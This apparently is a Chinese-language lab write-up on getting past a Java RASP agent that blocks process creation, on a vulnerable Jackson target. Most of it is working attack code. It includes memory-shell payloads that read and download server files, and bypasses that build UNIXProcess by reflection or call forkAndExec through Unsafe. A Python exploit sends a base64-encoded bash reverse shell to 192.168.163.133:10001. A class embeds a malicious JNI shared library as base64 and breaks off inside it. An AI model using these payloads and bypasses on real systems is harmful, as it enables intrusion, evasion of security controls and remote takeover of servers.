环境搭建

环境的 docker 放到了 https://github.com/justdoit-cai/javaAgent-learn/tree/main/rasp-demo-2.0(with%20executable%20jar%20and%20docker) 中。

该环境是 jackson 的任意调用 getter 方法漏洞,并且 rasp banjava.lang.ProcessImpl.start() ,并且我们无法调用 Runtime.exec() ,因为这个方法底层调的也是 ProcessImpl.start()

思路分析

具有漏洞的环境首先是想反弹 shell ,如果不出网就想打入内存马。我们直接开始尝试打入内存马。这里想直接反弹 shell 也不行,因为上面说了这里靶场具有 RASP 保护, ban 了命令执行(可能有其它命令执行的方法可以绕过,但是我也不知道有没有,应该是没有的,即使有大概率 RASP 也会继续 ban )。

打入内存马的 exp 也放到了上面的 github 中。我们这里直接尝试打入内存马。

发现打入成功了,但是命令没有回显。我们查看靶场的日志信息,发现果然是因为 RASP 的问题。

但是作为入侵者的我们只知道命令没有执行成功,不知道为什么。我们需要想办法探测原因。我们首先可以猜测后端可能禁止了命令执行相关的方法,于是我们这里可以尝试在注入内存马的时候不执行命令,而是读文件。修改后的读文件内存马 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.PrintWriter printWriter = response.getWriter();
printWriter.write("memshell inject success");
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
printWriter.println(urlContent);
}

发现可以成功读取文件,说明内存马没问题。

接着我们在 /app 目录下发现了 myRasp.jar ,于是就发现了这里是存在 RASP 的。

于是我们可以想办法把 myRasp.jar 下下来分析。这里直接在 response 中返回指定的文件流就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception {
String filename = request.getParameter("file");
// 设置响应头
response.setHeader("Content-Disposition",String.format("attachment; filename=%s", filename));
// 获取文件输入流
InputStream inputStream = Files.newInputStream(Paths.get(filename));
// 获取响应输出流
OutputStream outputStream = response.getOutputStream();
// 将文件内容写入响应输出流
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, length);
}

// 关闭流资源
outputStream.close();
inputStream.close();
}

成功读取!

接着我们分析这个 jar 包,发现其核心就是过滤了 processImpl.start() 方法的调用。这里我们可以采用下面的方式绕过。

绕过一:使用被ban方法的更底层方法

这里 RASP 只过滤了 processImpl.start() ,我们查看这个方法的实现可以发现更底层的调用。

UNIXProcessProcessImpl 可以理解本就是一个东西,在 JDK9 的时候把 UNIXProcess 合并到了ProcessImplUNIXProcess.forAndExec() 最终调用的是系统级别的 api fork() -> exec()

由于可以知道当前靶场的环境是 jdk8 + Linux,因此我们试着通过 UNIXProcessRCE

方式一:new UNIXProcesss()

通过分析 ProcessImplstart 方法里面传入 new UNIXProcess(xxx) 参数的逻辑,我们可以得到这里的 toCString(cmdarray[0])cmd 第一位的字节数组最后拼接 \0 ;关键是这里的 argBlockargBlockcmd 后面的所有位的字节数组通过 \0 拼接起来,末尾最后也要加 \0args.lengthcmd.length - 1std_fds[-1,-1,-1] 即可。其余参数要么为 null 要么为 0 即可。

举个例子,对于命令 cmd = ['bash', '-c', '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i}']
其中 argBlock-c 的字节数组加上 \0 ,再加上 {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i} 的字节数组,再加上 \0

最后的 poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception {
String[] cmds = request.getParameterValues("cmd");
Class clazz = Class.forName("java.lang.UNIXProcess");
Constructor constructor = clazz.getDeclaredConstructor(byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
constructor.setAccessible(true);
ServletOutputStream os = response.getOutputStream();
int length = 0;
byte[] argBlock = new byte[length];
for (int i = 1; i < cmds.length; i++) {
byte[] cString = toCString(cmds[i]);
byte[] tmp = new byte[length + cString.length];
System.arraycopy(argBlock, 0, tmp, 0, length);
System.arraycopy(cString, 0, tmp, length, cString.length);
argBlock = tmp;
length += cString.length;
}
Process process = (Process) constructor.newInstance(toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, new int[]{-1, -1, -1}, false);
InputStream ins = process.getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = ins.read(buffer)) != -1) {
System.out.println(len);
os.write(buffer, 0, len);
}
os.close();
ins.close();
}

public byte[] toCString(String source) {
byte[] src = source.getBytes();
byte[] result = new byte[src.length + 1];
System.arraycopy(src, 0, result, 0, src.length);
result[result.length - 1] = (byte) 0;
return result;
}

上传内存马后,我们就可以用下面的 exp 来反弹 shell 或者执行其它命令。

1
2
3
4
5
6
7
import requests  

url = 'http://192.168.163.129:8080/backdoor'
data = {
'cmd': ['bash', '-c', '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTYzLjEzMy8xMDAwMSAwPiYx}|{base64,-d}|{bash,-i}']
}
print(requests.post(url=url, data=data).text)

方式二:forkAndExec+Unsafe

如果 RASP 禁止了调用 UNIXProcess 的构造方法又怎么办?

其实我们可以利用 Java 的几个特性就可以绕过 RASP 执行本地命令了,具体步骤如下:

  1. 使用 sun.misc.Unsafe.allocateInstance(Class) 特性可以无需 new 或者 newInstance 创建UNIXProcess/ProcessImpl 类对象。
  2. 反射 UNIXProcess/ProcessImpl 类的 forkAndExec 方法。
  3. 构造 forkAndExec 需要的参数并调用。
  4. 反射 UNIXProcess/ProcessImpl 类的 initStreams 方法初始化输入输出结果流对象。
  5. 反射 UNIXProcess/ProcessImpl 类的 getInputStream 方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

这里需要注意的是 forkAndExec 需要知道 launchMechanism.ordinal()helperpath ,但是还好 launchMechanismhelperpath 都是静态属性,我们可以在得到 UNIXProcess 的对象后直接获取就可以了,不用再麻烦考虑这两个属性是怎么赋值的,因为获取到类对象的时候 static 变量就已经赋值了。

但是光调用了 forkAndExec 方法只能返回命令的 pid ,无法返回命令执行的结果。所以我们还需要审计看如何可以获取命令执行的输出流。

我们可以知道 UNIXProcess 的构造方法在调用了 forkAndExec 方法之后就只调用了 initStreams 方法,然后就可以通过 getInputStream 获取返回的命令执行结果。所以我们也可以照着做,先通过反射调用 initStreams 方法,然后通过反射调用 getInputStream 方法。就可以获取命令执行的结果了,

下面是代码实现和执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.just;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
public class Demo {
public static byte[] toCString(String source) {
byte[] src = source.getBytes();
byte[] result = new byte[src.length + 1];
System.arraycopy(src, 0, result, 0, src.length);
result[result.length - 1] = (byte) 0;
return result;
}

public static void main(String[] args) throws Exception {
// 获取命令
String[] cmds = new String[] {"ls"};

// 获取Unsafe类对象
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Constructor<?> unsafeConstructor = unsafeClass.getDeclaredConstructor();
unsafeConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeConstructor.newInstance();

// 通过Unsafe绕过构造方法创建UNIXProcess类的实例对象
Class<?> unixProcessClass = Class.forName("java.lang.UNIXProcess");
Object unixProcessObject = unsafe.allocateInstance(unixProcessClass);

// 从UNIXProcess中通过反射获取forkAndExec方法需要的参数(前两个参数是静态属性,可以直接反射获取):1. ordinal. 2. helperpath. 3. argBlock
Field launchMechanismField = unixProcessClass.getDeclaredField("launchMechanism");
Field helperpathField = unixProcessClass.getDeclaredField("helperpath");

launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);

Object launchMechanismObject = launchMechanismField.get(unixProcessObject);
int ordinal = (int) launchMechanismObject.getClass().getSuperclass().getDeclaredMethod("ordinal").invoke(launchMechanismObject);
byte[] helperpath = (byte[]) helperpathField.get(unixProcessObject);

System.out.println("ordinal = " + ordinal);
System.out.println("helperpath = " + Arrays.toString(helperpath));

// 根据cmds计算argBlock
int length = 0;
byte[] argBlock = new byte[length];
for (int i = 1; i < cmds.length; i++) {
byte[] cString = toCString(cmds[i]);
byte[] tmp = new byte[length + cString.length];
System.arraycopy(argBlock, 0, tmp, 0, length);
System.arraycopy(cString, 0, tmp, length, cString.length);
argBlock = tmp;
length += cString.length;
}

int[] std_fds = new int[] {-1,-1,-1};

// 获取forkAndExec方法并调用这个方法
Method forkAndExec = unixProcessClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkAndExec.setAccessible(true);
System.out.println(unixProcessObject);
int pid = (int) forkAndExec.invoke(unixProcessObject, ordinal + 1, helperpath, toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, std_fds, false);
System.out.println("pid = " + pid);

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = unixProcessClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(unixProcessObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = unixProcessClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream ins = (InputStream) getInputStreamMethod.invoke(unixProcessObject);

System.out.println(ins);
BufferedReader br = new BufferedReader(new InputStreamReader(ins, StandardCharsets.UTF_8));
String s;
StringBuilder sb = new StringBuilder();
while ((s = br.readLine()) != null) {
System.out.println(s);
sb.append(s);
}
}
}

接着我们把上面的代码融入内存马,最后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public void evilFunc(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取命令
String[] cmds = request.getParameterValues("cmd");

// 获取Unsafe类对象
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Constructor<?> unsafeConstructor = unsafeClass.getDeclaredConstructor();
unsafeConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeConstructor.newInstance();

// 通过Unsafe绕过构造方法创建UNIXProcess类的实例对象
Class<?> unixProcessClass = Class.forName("java.lang.UNIXProcess");
Object unixProcessObject = unsafe.allocateInstance(unixProcessClass);

// 从UNIXProcess中通过反射获取forkAndExec方法需要的参数(前两个参数是静态属性,可以直接反射获取):1. ordinal. 2. helperpath. 3. argBlock
Field launchMechanismField = unixProcessClass.getDeclaredField("launchMechanism");
Field helperpathField = unixProcessClass.getDeclaredField("helperpath");

launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);

Object launchMechanismObject = launchMechanismField.get(unixProcessObject);
int ordinal = (int) launchMechanismObject.getClass().getSuperclass().getDeclaredMethod("ordinal").invoke(launchMechanismObject);
byte[] helperpath = (byte[]) helperpathField.get(unixProcessObject);

System.out.println("ordinal = " + ordinal);
System.out.println("helperpath = " + Arrays.toString(helperpath));

// 根据cmds计算argBlock
int length = 0;
byte[] argBlock = new byte[length];
for (int i = 1; i < cmds.length; i++) {
byte[] cString = toCString(cmds[i]);
byte[] tmp = new byte[length + cString.length];
System.arraycopy(argBlock, 0, tmp, 0, length);
System.arraycopy(cString, 0, tmp, length, cString.length);
argBlock = tmp;
length += cString.length;
}

int[] std_fds = new int[] {-1,-1,-1};

// 获取forkAndExec方法并调用这个方法
Method forkAndExec = unixProcessClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkAndExec.setAccessible(true);
System.out.println(unixProcessObject);
int pid = (int) forkAndExec.invoke(unixProcessObject, ordinal + 1, helperpath, toCString(cmds[0]), argBlock, cmds.length - 1, null, 0, null, std_fds, false);
System.out.println("pid = " + pid);

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = unixProcessClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(unixProcessObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = unixProcessClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream ins = (InputStream) getInputStreamMethod.invoke(unixProcessObject);

System.out.println(ins);

// 将结果返回到页面上
ServletOutputStream os = response.getOutputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = ins.read(buffer)) != -1) {
os.write(buffer, 0, len);
}

os.close();
ins.close();
}

public byte[] toCString(String source) {
byte[] src = source.getBytes();
byte[] result = new byte[src.length + 1];
System.arraycopy(src, 0, result, 0, src.length);
result[result.length - 1] = (byte) 0;
return result;
}

绕过二:使用java加载动态链接库RCE(JNI命令执行)

Java 可以通过 JNI 的方式调用动态链接库,我们只需要在动态链接库中写一个本地命令执行的方法就行了。然后写一个类上传这个恶意动态链接库并且执行命令。然后我们可以通过 defineClass 加载这个恶意类,调用其中的方法。

参考 JNI安全
步骤:

  1. 编写恶意的 JNI 动态共享库 so 文件。
  2. 在恶意类中加载这个 so 文件,并且提供接口调用,然后通过 javassist 获取这个恶意类的字节码。

注意 COMMAND_CLASS_BYTE_ENCODE 要注意平台的兼容问题,需要提前探测出来靶机的环境。不同环境编译出来的 so 文件和字节码文件不一定兼容。
还有需要注意的是高版本 JDKsun.misc.BASE64Decoder 已经被移除,低版本 JDK 又没有 java.util.Base64 对象。所以我们需要根据靶机的 jdk 版本来确定使用哪个类来进行 base64 编解码。这里最好的方式是通过反射来判断当前靶机环境有哪些类。有哪个类就使用哪个类。

恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.just;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class MyCommand {
public static final String s = "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4BEAAAAAAABAAAAAAAAAACA9AAAAAAAAAAAAAEAAOAALAEAAHwAeAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmAoAAAAAAACYCgAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAD1BAAAAAAAAPUEAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAJ8BAAAAAAAAnwEAAAAAAAAAEAAAAAAAAAEAAAAGAAAA4C0AAAAAAADgPQAAAAAAAOA9AAAAAAAAsAIAAAAAAAC4AgAAAAAAAAAQAAAAAAAAAgAAAAYAAAD4LQAAAAAAAPg9AAAAAAAA+D0AAAAAAADgAQAAAAAAAOABAAAAAAAACAAAAAAAAAAEAAAABAAAAKgCAAAAAAAAqAIAAAAAAACoAgAAAAAAACAAAAAAAAAAIAAAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAIAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAU+V0ZAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAACAAAAAAAAAACAAAAAAAAABQ5XRkBAAAAAQgAAAAAAAABCAAAAAAAAAEIAAAAAAAAEwAAAAAAAAATAAAAAAAAAAEAAAAAAAAAFHldGQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0ZAQAAADgLQAAAAAAAOA9AAAAAAAA4D0AAAAAAAAgAgAAAAAAACACAAAAAAAAAQAAAAAAAAAEAAAAEAAAAAUAAABHTlUAAgAAwAQAAAADAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQDEYZNRzFXakPS2+1vITkOH11WdOAAAAAADAAAAEgAAAAEAAAAGAAAABAAAABBABQQSAAAAAAAAAAAAAACwTj2Kgtt0tDPZfbIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8AAAAEgAAAAAAAAAAAAAAAAAAAAAAAABFAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABGAAAAIgAAAAAAAAAAAAAAAAAAAAAAAACEAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAjAgAAEgAAAAAAAAAAAAAAAAAAAAAAAAACAQAAEgAAAAAAAAAAAAAAAAAAAAAAAADNAQAAEgAAAAAAAAAAAAAAAAAAAAAAAADCAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA+AQAAEgAAAAAAAAAAAAAAAAAAAAAAAADzAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAD8AAAAEgAAAAAAAAAAAAAAAAAAAAAAAADeAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAC+AQAAEgAAAAAAAAAAAAAAAAAAAAAAAAABAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAALAgAAEgAAAAAAAAAAAAAAAAAAAAAAAABzAAAAIgAOAKgUAAAAAAAAPQAAAAAAAABVAAAAIgAOAHQUAAAAAAAANAAAAAAAAACfAAAAEgAOAJkSAAAAAAAAdAEAAAAAAAAAX19nbW9uX3N0YXJ0X18AX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAX1pON0pOSUVudl8xMk5ld1N0cmluZ1VURkVQS2MAX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABKYXZhX2NvbV9qdXN0X015Q29tbWFuZF9leGVjAHBvcGVuAF9aTlN0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFQzFFdgBmZ2V0cwBfWk5TdDdfX2N4eDExMTJiYXNpY19zdHJpbmdJY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRXBMRVBLYwBwY2xvc2UAX1pOS1N0N19fY3h4MTExMmJhc2ljX3N0cmluZ0ljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFNWNfc3RyRXYAX1pOU3Q3X19jeHgxMTEyYmFzaWNfc3RyaW5nSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVEMUV2AF9VbndpbmRfUmVzdW1lAF9fc3RhY2tfY2hrX2ZhaWwAX19neHhfcGVyc29uYWxpdHlfdjAAX1pOU3Q4aW9zX2Jhc2U0SW5pdEMxRXYAX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAX19jeGFfYXRleGl0AGxpYnN0ZGMrKy5zby42AGxpYmdjY19zLnNvLjEAbGliYy5zby42AEdDQ18zLjAAQ1hYQUJJXzEuMwBHTElCQ1hYXzMuNABHTElCQ1hYXzMuNC4yMQBHTElCQ18yLjQAR0xJQkNfMi4yLjUAAAAAAgADAAIAAwACAAMABAADAAIABQACAAYAAAAHAAAAAAAFAAEAAQABAAAAAQABAD8CAAAQAAAAIAAAAFAmeQsAAAcAVwIAAAAAAAABAAMAMAIAABAAAABAAAAA069rBQAABgBfAgAAEAAAAHQpkggAAAUAagIAABAAAABx+JcCAAADAHYCAAAAAAAAAQACAE0CAAAQAAAAAAAAABRpaQ0AAAQAhQIAABAAAAB1GmkJAAACAI8CAAAAAAAA4D0AAAAAAAAIAAAAAAAAAJASAAAAAAAA6D0AAAAAAAAIAAAAAAAAAFoUAAAAAAAA8D0AAAAAAAAIAAAAAAAAAFASAAAAAAAAgEAAAAAAAAAIAAAAAAAAAIBAAAAAAAAA2D8AAAAAAAAGAAAAAwAAAAAAAAAAAAAA4D8AAAAAAAAGAAAADQAAAAAAAAAAAAAA6D8AAAAAAAAGAAAADwAAAAAAAAAAAAAA8D8AAAAAAAAGAAAAEAAAAAAAAAAAAAAA+D8AAAAAAAAGAAAAEQAAAAAAAAAAAAAAiEAAAAAAAAABAAAADAAAAAAAAAAAAAAAGEAAAAAAAAAHAAAAAQAAAAAAAAAAAAAAIEAAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEAAAAAAAAAHAAAABAAAAAAAAAAAAAAAMEAAAAAAAAAHAAAAEgAAAAAAAAAAAAAAOEAAAAAAAAAHAAAABQAAAAAAAAAAAAAAQEAAAAAAAAAHAAAABgAAAAAAAAAAAAAASEAAAAAAAAAHAAAABwAAAAAAAAAAAAAAUEAAAAAAAAAHAAAACAAAAAAAAAAAAAAAWEAAAAAAAAAHAAAACQAAAAAAAAAAAAAAYEAAAAAAAAAHAAAACgAAAAAAAAAAAAAAaEAAAAAAAAAHAAAACwAAAAAAAAAAAAAAcEAAAAAAAAAHAAAADgAAAAAAAAAAAAAAeEAAAAAAAAAHAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+mgCAAAA8unB////kPMPHvpoAwAAAPLpsf///5DzDx76aAQAAADy6aH///+Q8w8e+mgFAAAA8umR////kPMPHvpoBgAAAPLpgf///5DzDx76aAcAAADy6XH///+Q8w8e+mgIAAAA8ulh////kPMPHvpoCQAAAPLpUf///5DzDx76aAoAAADy6UH///+Q8w8e+mgLAAAA8ukx////kPMPHvpoDAAAAPLpIf///5DzDx768v8lzS4AAA8fRAAA8w8e+vL/Jf0uAAAPH0QAAPMPHvry/yX1LgAADx9EAADzDx768v8l7S4AAA8fRAAA8w8e+vL/JeUuAAAPH0QAAPMPHvry/yXdLgAADx9EAADzDx768v8l1S4AAA8fRAAA8w8e+vL/Jc0uAAAPH0QAAPMPHvry/yXFLgAADx9EAADzDx768v8lvS4AAA8fRAAA8w8e+vL/JbUuAAAPH0QAAPMPHvry/yWtLgAADx9EAADzDx768v8lpS4AAA8fRAAA8w8e+vL/JZ0uAAAPH0QAAEiNPakuAABIjQWiLgAASDn4dBVIiwXmLQAASIXAdAn/4A8fgAAAAADDDx+AAAAAAEiNPXkuAABIjTVyLgAASCn+SInwSMHuP0jB+ANIAcZI0f50FEiLBbUtAABIhcB0CP/gZg8fRAAAww8fgAAAAADzDx76gD01LgAAAHUrVUiDPXItAAAASInldAxIiz0OLgAA6In+///oZP///8YFDS4AAAFdww8fAMMPH4AAAAAA8w8e+ul3////8w8e+lVIieVTSIHs+AAAAEiJvRj///9IibUQ////SImVCP///2RIiwQlKAAAAEiJRegxwEiDvQj///8AD4TpAAAASI2VL////0iLjQj///9Ii4UY////SInOSInH6EX+//9IiYUw////SIuFMP///0iNNfEMAABIicfo+P3//0iJhTj///9Ig704////AA+ElwAAAEiNhUD///9IicfoRP7//0iLlTj///9IjYVg////voAAAABIicfoWf7//0iFwA+VwITAdBtIjZVg////SI2FQP///0iJ1kiJx+jm/f//68BIi4U4////SInH6AX+//9IjYVA////SInH6Ib9//9IicJIi4UY////SInWSInH6CH+//9IicOQSI2FQP///0iJx+hu/f//6wW7AAAAAEiJ2EiLTehkSDMMJSgAAAB0KOsh8w8e+kiJw0iNhUD///9IicfoPf3//0iJ2EiJx+jC/f//6G39//9IgcT4AAAAW13D8w8e+lVIieVIg+wQiX38iXX4g338AXUygX34//8AAHUpSI09XCwAAOhm/f//SI0VPywAAEiNNUksAABIiwWpKwAASInH6Pn8//+QycPzDx76VUiJ5b7//wAAvwEAAADonP///13DkPMPHvpVSInlSIPsEEiJffhIiXXwSItF+EiLAEiLiDgFAABIi1XwSItF+EiJ1kiJx//RycPzDx76VUiJ5UiD7CBIiX34SIl18EiJVehIi0X4SIsATIuASAUAAEiLVehIi03wSItF+EiJzkiJx0H/0MnDAAAA8w8e+kiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA